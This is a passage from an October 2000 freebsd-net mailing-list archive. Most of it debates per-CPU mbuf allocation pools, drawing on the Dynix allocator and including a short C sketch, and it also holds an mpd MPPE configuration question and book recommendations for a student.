years because I didn't > do this for the Solaris DKI/DDI. I really, really like per CPU resource pools. It's one of my SMP "hot buttons". I suggest reading the technical white papers at: http://www.sequent.com/software/operatingsys/dynix.html I also recommend "UNIX for Modern Architectures", and chapters 12 and 15 of the Vahalia book: UNIX internals: the new frontiers Uresh Vahalia Prentice Hall ISBN: 0-13-101908-2 Chaper 15 has an interesting point about LWPs in SVR4/MP, where kernel mappings use lazy TLB shootdown, but user mappings use an immediate shootdown policy, to insure that a mapping going away in one LWP goes away in other LWPs. Bonwick, who wrote the Solaris SLAB allocator, indicates in his paper about the allocator acknowledges that the allocator would benefit from per-CPU caches, like those in Dynix. See also: http://www.usenix.org/publications/library/proceedings/bos94/bonwick.html Unfortunately, the Winter 1993 proceedings, which has the Dynix paper, are not online. The authors of the paper have an insane number of SMP related patents, including a neat one on "A substantially zero overhead mutual exclusion apparatus..." that looks like soft updates applied to concurrency. Per CPU resource pools with high and low watermarking were part of the Dynix design. Here is a passage from Vahalia, chapter 12, about it (my comments and contextual clues are bracketed): 12.9 A Hierarchical Allocator for Multiprocessors Memory allocation for a shared-memory multiprocessor raises some additional concerns. Data structures such as free lists and allocation bitmaps used by traditional systems are not multiprocessor-safe and must be protected by locks. In large, parallel systems, this results in heavy contention for these locks, and CPUs frequently stall while waiting for these locks to be released. One solution to this problem is implemeneted in Dynix, a multiprocessor UNIX variant for the Sequent S2000 machines. It uses a hierarchical allocation scheme that supports the System V programming interface. The sequent multiprocessors are used in large on-line transaction-processing environments, and the allocator performs well under that load. Figure 12-9 [omitted] describes the design of the allocator. The lowest (per-CPU) layer allows the fastest operations, while the highest (coalesce-to-page) layer is for the time- consuming coalescing process. There is also (not shown) a coalesce-to-vmblock layer, which manages page allocation within large (4MB-sized) chunks of memory. [the diagram has a middle global layer, from which the per-CPU caches are refilled] The per-CPU layer manages one set of power-of-two pools for each processor. These pools are insulated from the other processors, and hence can be accessed without acquiring global locks. Allocation and release are fast in most cases, as only the local freelist is involved. Whenever the per-CPU freelist becomes empty, it can be replenished from the global layer, which maintains its own power-of-two pools. Likewise, excess buffers in the per-CPU cache can be returned to the global free list. As an optimization, buffers are moved between these two layers in target-sized groups (three buffers per move in the case shown in Figure 12-9), preventing unnecessary linked-list operations. To accomplish this, the per-CPU layer maintains two free lists, main and aux. Allocation and release primarily use the main free list. When this becomes empty, the buffers on aux are moved to main, and the aux list is replenished from the global layer. Likewise, when the main list overflows (size exceeds target), it is moved to aux, and the buffers on aux are returned to the global layer. This way the global layer is accessed at most once per target-number of accesses. The value of target is a tunable parameter. Increasing target reduces the number of global accesses, but ties up more buffers in per-CPU caches. ... 12.9.1 Analysis The Dynix algorithm provides efficient memory allocation for shared memory multiprocessors. It supports the standard System V interface, and allows memory to be exchanged between the allocator and the paging system. The per-CPU caches reduce the contention on the global lock, and the dual free lists provide a fast exchange of buffers between the per-CPU and global layers. It is interesting to contrast the Dynix coalescing approach with that of the Mach zone-based allocator. The Mach algorithm employs a mark-and-sweep method, linearly scanning the entire pool each time. This is computationally expensive, and hence is relegated to a separate background task. In Dynix, each time blocks are released [from the global layer] to the coalesce-to-page layer,the per page data structures are updated to accont for them. When all the buffers in a page are freed, the page can be returned to the paging system. This happens in the foreground, as part of the processing of release operations. The incremental cost for each release operation is small; hence it does not lead to unbounded worst case performance [unlike the Mach allocator]. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 19: 7:14 2000 Delivered-To: freebsd-net@freebsd.org Received: from hurlame.pdl.cs.cmu.edu (HURLAME.PDL.CS.CMU.EDU [128.2.189.78]) by hub.freebsd.org (Postfix) with ESMTP id 64D2137B479 for ; Mon, 30 Oct 2000 19:07:11 -0800 (PST) Received: (from magus@localhost) by hurlame.pdl.cs.cmu.edu (8.11.0/8.11.0) id e9V36h225279; Mon, 30 Oct 2000 22:06:43 -0500 (EST) (envelope-from magus) To: Andre Oppermann Cc: Alfred Perlstein , Bosko Milekic , freebsd-net@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists References: <20001030104457.E22110@fw.wintelcom.net> <39FDD039.594CED43@telehouse.ch> From: Nat Lanza Date: 30 Oct 2000 22:06:42 -0500 In-Reply-To: Andre Oppermann's message of "Mon, 30 Oct 2000 20:47:05 +0100" Message-ID: Lines: 42 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Andre Oppermann writes: > Lets assume there is an apache webserver running on the MP machine. > Now this apache process tends to stick to one CPU (does it? would > make sense for cache locality). This process generates a ton of > traffic and needs thousands of mbufs. If I keep the watermark > defaults then this is sub-optimal because on CPU1 I need thousands > of mbuf whereas CPU2 is not using much. If I tune the watermarks to > the required level of CPU1 then I'm wasting an awful lot of mbufs on > the other CPU('s)... Actually, Apache uses a pool of processes. So ideally the active httpd processes would be distributed fairly evenly across the machine's CPUs. Also, if there is only one process heavily consuming mbufs, then presumably acquiring the locks necessary to grab mbufs from the global pool is fast, since there's not going to be any contention for them. > The proposal; Lets have the minimum watermark set on a system-wide > level (sysctl) but the high-watermark would be based per-cpu with > an sliding window calculating the average use of mbufs over a certain > period of time (eg. 10sec). The initial high watermark would be > either min*2 or set upon system initialization to some initial (base) > value. This also takes automagically care of process migration between > the CPU's. Also this system would be self adjusting and self tuning > without admin intervention in common edge cases. I'm not convinced this is really necessary; if there isn't any contention for the mbuf lists, then it doesn't matter too much where they are -- as I understand it, the benefit in per-cpu mbuf lists is that you avoid contention when there are multiple consumers of mbufs. If you don't have multiple consumers, you're not going to have contention, so I don't see the point in adding fancy logic for that case. --nat -- nat lanza --------------------- research programmer, parallel data lab, cmu scs magus@cs.cmu.edu -------------------------------- http://www.cs.cmu.edu/~magus/ there are no whole truths; all truths are half-truths -- alfred north whitehead To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 23:32:16 2000 Delivered-To: freebsd-net@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id 08C8837B479; Mon, 30 Oct 2000 23:32:12 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9V7VUJ16831; Mon, 30 Oct 2000 23:31:30 -0800 (PST) (envelope-from dillon) Date: Mon, 30 Oct 2000 23:31:30 -0800 (PST) From: Matt Dillon Message-Id: <200010310731.e9V7VUJ16831@earth.backplane.com> To: David Greenman Cc: Bosko Milekic , freebsd-net@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists References: <200010301927.LAA01623@implode.root.com> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> I recently wrote an initial "scratch pad" design for per-CPU mbuf :> lists (in the MP case). The design consists simply of introducing :> these "fast" lists for each CPU and populating them with mbufs on bootup. :> Allocations from these lists would not need to be protected with a mutex :> as each CPU has its own. The general mmbfree list remains, and remains :> protected with a mutex, in case the per-CPU list is empty. : : I have only one question - is the lock overhead really so high that this :is needed? : :-DG : :David Greenman The biggest benefit to per-cpu allocation pools is L1-cache locality, though being able to avoid locking can also be significant if you are doing lots of small allocations. However, the schemes that I see implemented today by Linux, for example, and Dynix too (as Terry pointed out) are actually considerably more complex then we really need. If those schemes can reap a 95% cache hit I would argue that implementing a simpler scheme that only reaps 85% might be better for us. For example, to reap most of the benefit we could simply implement a 5-10 slot 'quick cache' (also known as a working-set cache) in MALLOC()/FREE() and zalloc[i]()/zfree(). It is not necessary to keep big per-cpu pools. With small per-cpu pools and hystersis we reap most of the benefits but don't have to deal with any of the garbage collection or balancing issues. After seeing the hell the Linux folks are going through, I'd much prefer to avoid having to deal with balancing. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 23:55:14 2000 Delivered-To: freebsd-net@freebsd.org Received: from inter.stack.ru (inter.stack.ru [212.20.57.225]) by hub.freebsd.org (Postfix) with ESMTP id BB3BC37B4D7 for ; Mon, 30 Oct 2000 23:55:10 -0800 (PST) Received: from exch.stack.ru (exch.stack.ru [212.20.57.217]) by inter.stack.ru (8.9.3/8.9.3) with ESMTP id OAA05928 for ; Tue, 31 Oct 2000 14:55:06 +0700 (KRS) Received: by exch.stack.ru with Internet Mail Service (5.5.2448.0) id <4LT9BJRT>; Tue, 31 Oct 2000 14:55:05 +0700 Message-ID: <807044A67EA3D211B11D00A024E91A45F2D224@exch.stack.ru> From: "Tolpanov, Dmitry" To: "'freebsd-net@freebsd.org'" Subject: Date: Tue, 31 Oct 2000 14:54:59 +0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="koi8-r" Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi. I'm trying to make mpd understand MPPE but can't do it. Here is my mpd.conf file: default: load Pptp1 Pptp1: new -i ng0 Pptp1 Pptp1 set link enable chap set ccp yes mppc mpp-compress mpp-e40 mpp-e128 mpp-stateless set ipcp ranges 192.168.110.110/32 192.168.110.250/32 set ipcp dns 192.168.10.1 Everything is working fine unless I switch on the Microsoft encryption option in Dial-up options (My OS is NT 4.0 Server). One of the MPD log strings is: [Pptp1] rec'd unexpected protocol CCP on link 0, rejecting May be somebody know where is the problem and how to solve it. Thanks in advance. Dmitry. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 0:30:55 2000 Delivered-To: freebsd-net@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id DC3D637B4CF for ; Tue, 31 Oct 2000 00:30:50 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e9V8Ts615452; Tue, 31 Oct 2000 00:29:54 -0800 (PST) Date: Tue, 31 Oct 2000 00:29:53 -0800 From: Alfred Perlstein To: Bosko Milekic Cc: Mike Smith , freebsd-net@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists Message-ID: <20001031002953.O22110@fw.wintelcom.net> References: <200010302240.e9UMeWF18172@mass.osd.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: ; from bmilekic@dsuper.net on Mon, Oct 30, 2000 at 07:19:19PM -0500 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Bosko Milekic [001030 16:14] wrote: > > (2) If you are allocating mbufs and have 0 on your fastlist you aquire > (lw) mbufs from the general pool into your fast list. > > Alfred's added suggestion: Keep mbufs in mmbfree classed as "chunks" > (i.e. of (lw) number of mbufs, for example). > > The new design drops this idea completely. First of all, let's say that > we do consider (2), then we would have to go through a costly count of > the mbufs in the mmbfree list every time we're doing the transfer. The > suggestion above says that we should keep the mbufs in chunks, to make > the transfer less costly, but it's flawed, because in that case, there > are two possibilities: > > (1) all "chunks" have same size, (lw); this is unreasonable because > (lw) is tunable and can change. > > (2) "chunks" have various sizes depending on when (lw) changes, one > should be combining smaller chunks into larger ones (and vice versa?) > in those cases; this is unreasonable because it will add too much > overhead into some of those allocations. I'd rather deal with not > having (2) at all and keep the speed than deal with this case. > > Of course, this isn't set in stone, and I'd like to know from those > who will argue, if any, that (2) should still be implemented, why it is > necessary. (1) alone will eliminate ping-pong effects. Actually this might work. :) Consider, you're at 0 buffers on your freelist, you allocate a chunk from the general pool if it's bigger than the tunable 'lw' the whole chain goes onto your 'lw' list. As you allocate and free from lw, it will 'spill' onto your 'hw' list because that's where you free to when 'lw' is full. If you happen to grab something off the freelist smaller than 'lw' you just live with that, or possibly grab another chunk, either way this algorithm heals the chunks by spilling free's from lw to hw to make the cutoff. Eventually you'll overflow your hw list and free the correct sized chunk onto the freelist (hw - lw buffers). If you're just consuming mbufs well then someone else will be doing the above described free'ing balancing out the main pool. Remeber, accuracy with balancing the chunks isn't nearly as important as speed. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 2:38:47 2000 Delivered-To: freebsd-net@freebsd.org Received: from mailtoaster1.pipeline.ch (mailtoaster1.pipeline.ch [62.48.0.70]) by hub.freebsd.org (Postfix) with SMTP id 22A2637B4C5 for ; Tue, 31 Oct 2000 02:38:44 -0800 (PST) Received: (qmail 66745 invoked from network); 31 Oct 2000 10:37:19 -0000 Received: from unknown (HELO telehouse.ch) ([62.48.0.53]) (envelope-sender ) by mailtoaster1.pipeline.ch (qmail-ldap-1.03) with SMTP for ; 31 Oct 2000 10:37:19 -0000 Message-ID: <39FEA159.EB774F1E@telehouse.ch> Date: Tue, 31 Oct 2000 11:39:21 +0100 From: Andre Oppermann X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Nat Lanza Cc: Alfred Perlstein , Bosko Milekic , freebsd-net@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists References: <20001030104457.E22110@fw.wintelcom.net> <39FDD039.594CED43@telehouse.ch> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Nat Lanza wrote: > > Andre Oppermann writes: > > > Lets assume there is an apache webserver running on the MP machine. > > Now this apache process tends to stick to one CPU (does it? would > > make sense for cache locality). This process generates a ton of > > traffic and needs thousands of mbufs. If I keep the watermark > > defaults then this is sub-optimal because on CPU1 I need thousands > > of mbuf whereas CPU2 is not using much. If I tune the watermarks to > > the required level of CPU1 then I'm wasting an awful lot of mbufs on > > the other CPU('s)... > > Actually, Apache uses a pool of processes. So ideally the active httpd > processes would be distributed fairly evenly across the machine's CPUs. Depends, if you look at Apache 2.0 it will run multithreaded. In the Apache case it could also make sense to keep the childs on the same CPU to avoid cache line thrashing. There are a lot of informations that flow between the parent Apache and the Childs (requests, filters, log entries...). It makes sense to run cgi's on a different CPU. > Also, if there is only one process heavily consuming mbufs, then > presumably acquiring the locks necessary to grab mbufs from the global > pool is fast, since there's not going to be any contention for them. No. First, you contradict yourself here and second if two Apache childs are simultaniusly running on two CPU's they are competing at the same time for the resource mbuf and one will starve the other and we have a lot of contention. > > The proposal; Lets have the minimum watermark set on a system-wide > > level (sysctl) but the high-watermark would be based per-cpu with > > an sliding window calculating the average use of mbufs over a certain > > period of time (eg. 10sec). The initial high watermark would be > > either min*2 or set upon system initialization to some initial (base) > > value. This also takes automagically care of process migration between > > the CPU's. Also this system would be self adjusting and self tuning > > without admin intervention in common edge cases. > > I'm not convinced this is really necessary; if there isn't any > contention for the mbuf lists, then it doesn't matter too much where > they are -- as I understand it, the benefit in per-cpu mbuf lists is > that you avoid contention when there are multiple consumers of > mbufs. If you don't have multiple consumers, you're not going to have > contention, so I don't see the point in adding fancy logic for that > case. You have multiple mbuf consumers, see above. Also I made a point about wasting mbufs when you tune the high watermark for high loads. -- Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 2:52:38 2000 Delivered-To: freebsd-net@freebsd.org Received: from smtp05.primenet.com (smtp05.primenet.com [206.165.6.135]) by hub.freebsd.org (Postfix) with ESMTP id A1D6A37B4D7; Tue, 31 Oct 2000 02:52:31 -0800 (PST) Received: (from daemon@localhost) by smtp05.primenet.com (8.9.3/8.9.3) id DAA25934; Tue, 31 Oct 2000 03:52:57 -0700 (MST) Received: from usr02.primenet.com(206.165.6.202) via SMTP by smtp05.primenet.com, id smtpdAAArgayLY; Tue Oct 31 03:52:47 2000 Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id DAA29909; Tue, 31 Oct 2000 03:52:09 -0700 (MST) From: Terry Lambert Message-Id: <200010311052.DAA29909@usr02.primenet.com> Subject: Re: MP: per-CPU mbuf allocation lists To: dillon@earth.backplane.com (Matt Dillon) Date: Tue, 31 Oct 2000 10:52:08 +0000 (GMT) Cc: dg@root.com (David Greenman), bmilekic@dsuper.net (Bosko Milekic), freebsd-net@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG In-Reply-To: <200010310731.e9V7VUJ16831@earth.backplane.com> from "Matt Dillon" at Oct 30, 2000 11:31:30 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > The biggest benefit to per-cpu allocation pools is L1-cache locality, > though being able to avoid locking can also be significant if you are > doing lots of small allocations. I think that the locking avoidance win is being grossly underrated. Realize that a lock accessed by multiple processors will require distribute coherency, and will either have to live in uncached memory, or will have to take an update cycle worth of overhead. I would be real interested in cycle counting in and out of the Big Giant Lock; I think that it would be quite telling, even in the current implementation. The reason for the limitation of "four processors , and you hit the point of diminishing returns" myth is architecture. The limit you are hitting when you hit "the point of diminishing returns" is really where your software architecture falls over dead. For Sequent, this was 32, and now it's up to 64, with the new NUMA-Q system (which, since it runs on Monterray, can run Linux programs, BTW). The limit for SVR4, which had a slab allocator and a single contended lock (being largely derived from the Solaris code of the day) was 4. > However, the schemes that I see implemented today by Linux, for example, > and Dynix too (as Terry pointed out) are actually considerably more > complex then we really need. If those schemes can reap a 95% cache > hit I would argue that implementing a simpler scheme that only reaps > 85% might be better for us. The Linux stuff is pretty baraoque, from what I've seen of it; they are pretty much doomed because of some early decisions in their VM system, which they are now stuck with, if they want to maintain their level of platform support without a serious rethink. > For example, to reap most of the benefit we could simply implement a > 5-10 slot 'quick cache' (also known as a working-set cache) in > MALLOC()/FREE() and zalloc[i]()/zfree(). It is not necessary to keep > big per-cpu pools. With small per-cpu pools and hystersis we reap most > of the benefits but don't have to deal with any of the garbage collection > or balancing issues. After seeing the hell the Linux folks are going > through, I'd much prefer to avoid having to deal with balancing. The example from the Dynix allocator was "three elements per list, a running allocation of 4-6 elements max" (this was with a target of 3). It's really trivial to implement this: /* something to cast about; allocations can be no smaller than this*/ struct thing { struct thing *next; /* linked list of 'target'*/ struct thing *tail; /* tail of 'target' we are member of*/ }; /* our system-wide freelist*/ struct global_layer { mutex_t gl_lock; /* global layer lock*/ struct thing *global_list; /* list of 'target' clusters*/ struct thing *bucket_list; /* list of sub-'target' individuals*/ int target; /* our target size*/ }; /* our per-CPU freelist*/ struct per_cpu { struct thing *main_freelist; /* unit pool*/ struct thing *aux_freelist; /* cluster of unit pool*/ int target; }; The obvious, of course: struct myobject * alloc_from_per_cpu() { struct thing *rv; rv = percpup->main_freelist; if( rv->next) { percpup->main_freelist = rv->next; } else { /* * Note: we could just mark this, and deal with it * later (e.g. if we are in an interrupt handler). */ percpup->main_freelist = percpup->aux_freelist; LOCK(globalp->gl_lock); if( ( percpup->aux_freelist = globalp->global_list) == NULL) { /* we really are out of memory!*/ ... } else { globalp->global_list = globalp->global_list->tail->next; percpup->aux_freelist->tail = NULL; } UNLOCK(globalp->gl_lock); } /* maybe do some initialization, if needed; probably in caller...*/ return( (struct myobject *)rv); } Deallocation goes back to the main_freelist. When there are target items already on the list, the list on aux_freelist is given back to the system, as a cluster. Again, this could be delayed until the CPU was idle, or whatever. The point is that the tail needs setting during the clustering operation; right now, that's a linear traversal, though we could cheat, and fill toward the tail, and pull off the head, which would let us maintain the tail pointer at the head. The tradeoff is really based on incremental vs. linear cost, and if we can really delay, so it's partly dependent on the size of 'target'. The coalescing of freed pages is a system task. Basically, the system frees to a coelesce-to-page layer in the Dynix model; there's no reason FreeBSD couldn't go on using the same model it uses now for doing this, though it will have the same unbounded worst case performance FreeBSD has today. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 5:51:15 2000 Delivered-To: freebsd-net@freebsd.org Received: from gdit.iiit.net (unknown [196.12.44.6]) by hub.freebsd.org (Postfix) with ESMTP id 43CD337B479 for ; Tue, 31 Oct 2000 05:50:58 -0800 (PST) Received: from localhost (thiyagarajan@localhost) by gdit.iiit.net (8.9.3/8.8.7) with ESMTP id TAA04430 for ; Tue, 31 Oct 2000 19:38:32 +0530 Date: Tue, 31 Oct 2000 19:38:27 +0530 (IST) From: "Thiyagarajan M-RollNo.99087" To: freebsd-net@freebsd.org Subject: details of implementation of networking Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi everyone I am a student and i am doing a case study in Freebsd networking , can i anyone give me pointers to where i can find details about the implementation of networking in FreeBSD . I checked out the handbook in freebsd.org site but i could not find any useful info in that . I want information on the data structures used for the implementation and stuff like that . I do not have any detailed idea about networking . Thanx in advance To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 7:18:34 2000 Delivered-To: freebsd-net@freebsd.org Received: from smtp.alacritech.com (smtp.alacritech.com [209.10.208.82]) by hub.freebsd.org (Postfix) with ESMTP id A36E037B479 for ; Tue, 31 Oct 2000 07:18:30 -0800 (PST) Received: from [10.1.10.18] by smtp.alacritech.com (NTMail 4.30.0012/NY3553.00.2884f51f) with ESMTP id lhxjaaaa for ; Tue, 31 Oct 2000 07:15:58 -0800 From: "Christopher Harrer" To: "Thiyagarajan M-RollNo.99087" , Subject: RE: details of implementation of networking Date: Tue, 31 Oct 2000 10:16:09 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: Importance: Normal Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org One of the best book sets (2 books) I've seen is by Wright/Stevens, "TCP/IP Illustrated, Volumes I & II". Some of the information may be out of date, but it's an excellent overview of the implementation, especially when coupled with looking at the current code. Chris -----Original Message----- From: owner-freebsd-net@FreeBSD.ORG [mailto:owner-freebsd-net@FreeBSD.ORG]On Behalf Of Thiyagarajan M-RollNo.99087 Sent: Tuesday, October 31, 2000 9:08 AM To: freebsd-net@freebsd.org Subject: details of implementation of networking Hi everyone I am a student and i am doing a case study in Freebsd networking , can i anyone give me pointers to where i can find details about the implementation of networking in FreeBSD . I checked out the handbook in freebsd.org site but i could not find any useful info in that . I want information on the data structures used for the implementation and stuff like that . I do not have any detailed idea about networking . Thanx in advance To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 7:24:36 2000 Delivered-To: freebsd-net@freebsd.org Received: from hurlame.pdl.cs.cmu.edu (HURLAME.PDL.CS.CMU.EDU [128.2.189.78]) by hub.freebsd.org (Postfix) with ESMTP id 7563737B680 for ; Tue, 31 Oct 2000 07:24:31 -0800 (PST) Received: (from magus@localhost) by hurlame.pdl.cs.cmu.edu (8.11.0/8.11.0) id e9VFOCX26987; Tue, 31 Oct 2000 10:24:12 -0500 (EST) (envelope-from magus) To: Andre Oppermann Cc: Alfred Perlstein , Bosko Milekic , freebsd-net@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists References: <20001030104457.E22110@fw.wintelcom.net> <39FDD039.594CED43@telehouse.ch> <39FEA159.EB774F1E@telehouse.ch> From: Nat Lanza Date: 31 Oct 2000 10:24:12 -0500 In-Reply-To: Andre Oppermann's message of "Tue, 31 Oct 2000 11:39:21 +0100" Message-ID: Lines: 37 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Andre Oppermann writes: > No. First, you contradict yourself here and second if two Apache childs > are simultaniusly running on two CPU's they are competing at the same > time for the resource mbuf and one will starve the other and we have a > lot of contention. You misunderstand. I said "if there is only one process". I wasn't talking about the Apache case, single-threaded or multi-threaded. Also, I don't see how multiple consumers on the same CPU will starve each other. Really, I don't see why a number of consumers running on a single CPU is significantly different from a single consumer on that CPU. Basically, I think you're pointing out problems that don't exist. Maybe I'm wrong and these problems are real and significant, but it's probably best to wait until this code is implemented and working and actually test it to see if you're right about this sort of starvation. > You have multiple mbuf consumers, see above. Also I made a point about > wasting mbufs when you tune the high watermark for high loads. Well, yes. With tunable knobs like that you're always going to have the one-setting-does-not-fit-all-circumstances situation. Again, I'm not convinced that this is a huge problem, and I'd rather see the code up and running and look at how it really performs before complicating it with performance tweaks that may or may not help. --nat -- nat lanza --------------------- research programmer, parallel data lab, cmu scs magus@cs.cmu.edu -------------------------------- http://www.cs.cmu.edu/~magus/ there are no whole truths; all truths are half-truths -- alfred north whitehead To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 8: 2:54 2000 Delivered-To: freebsd-net@freebsd.org Received: from ozias.inrs-telecom.uquebec.ca (ozias.inrs-telecom.uquebec.ca [192.26.211.164]) by hub.freebsd.org (Postfix) with ESMTP id CFD3837B4FE for ; Tue, 31 Oct 2000 08:02:49 -0800 (PST) Received: from cholla.INRS-Telecom.UQuebec.CA (cholla [192.26.211.110]) by ozias.inrs-telecom.uquebec.ca (8.11.0/8.9.1) with ESMTP id e9VG2pU00889; Tue, 31 Oct 2000 11:02:51 -0500 (EST) Received: from cholla by cholla.INRS-Telecom.UQuebec.CA (8.9.3+Sun/SMI-SVR4) id LAA21025; Tue, 31 Oct 2000 11:02:46 -0500 (EST) Message-Id: <200010311602.LAA21025@cholla.INRS-Telecom.UQuebec.CA> Date: Tue, 31 Oct 2000 11:02:46 -0500 (EST) From: Tarik Alj Reply-To: Tarik Alj Subject: Re: details of implementation of networking To: thiyagarajan@gdit.iiit.net Cc: freebsd-net@freebsd.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: NjAMRRPzhLEf6geicne9jg== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 sun4u sparc Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "TCP/IP illustrated, vol 2" by Wright and Stevens. "Design and Implementation of the BSD UNIX OS" by McKusick et al are not aimed at FreeBSD particularly but should help you if you start digging the code. >Delivered-To: freebsd-net@freebsd.org >Date: Tue, 31 Oct 2000 19:38:27 +0530 (IST) >From: "Thiyagarajan M-RollNo.99087" >To: freebsd-net@freebsd.org >Subject: details of implementation of networking >MIME-Version: 1.0 >X-Loop: FreeBSD.org > > > >Hi everyone > I am a student and i am doing a case study in Freebsd networking , >can i anyone give me pointers to where i can find details about the >implementation of networking in FreeBSD . I checked out the handbook in >freebsd.org site but i could not find any useful info in that . I want >information on the data structures used for the implementation and stuff >like that . I do not have any detailed idea about networking . > Thanx in advance > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-net" in the body of the message Tarik To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 8:49:34 2000 Delivered-To: freebsd-net@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id 8A2BD37B479; Tue, 31 Oct 2000 08:49:31 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9VGnOm18947; Tue, 31 Oct 2000 08:49:24 -0800 (PST) (envelope-from dillon) Date: Tue, 31 Oct 2000 08:49:24 -0800 (PST) From: Matt Dillon Message-Id: <200010311649.e9VGnOm18947@earth.backplane.com> To: Terry Lambert Cc: dg@root.com (David Greenman), bmilekic@dsuper.net (Bosko Milekic), freebsd-net@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists References: <200010311052.DAA29909@usr02.primenet.com> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : :It's really trivial to implement this: : :/* something to cast about; allocations can be no smaller than this*/ :struct thing { :... You've just described our zalloc[i]() memory subsystem with a few simple changes. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 9:45:19 2000 Delivered-To: freebsd-net@freebsd.org Received: from falla.videotron.net (falla.videotron.net [205.151.222.106]) by hub.freebsd.org (Postfix) with ESMTP id A15D537B479 for ; Tue, 31 Oct 2000 09:45:14 -0800 (PST) Received: from modemcable213.3-201-24.mtl.mc.videotron.ca ([24.201.3.213]) by falla.videotron.net (Sun Internet Mail Server sims.3.5.1999.12.14.10.29.p8) with ESMTP id <0G3B00BDP29Z16@falla.videotron.net> for freebsd-net@FreeBSD.ORG; 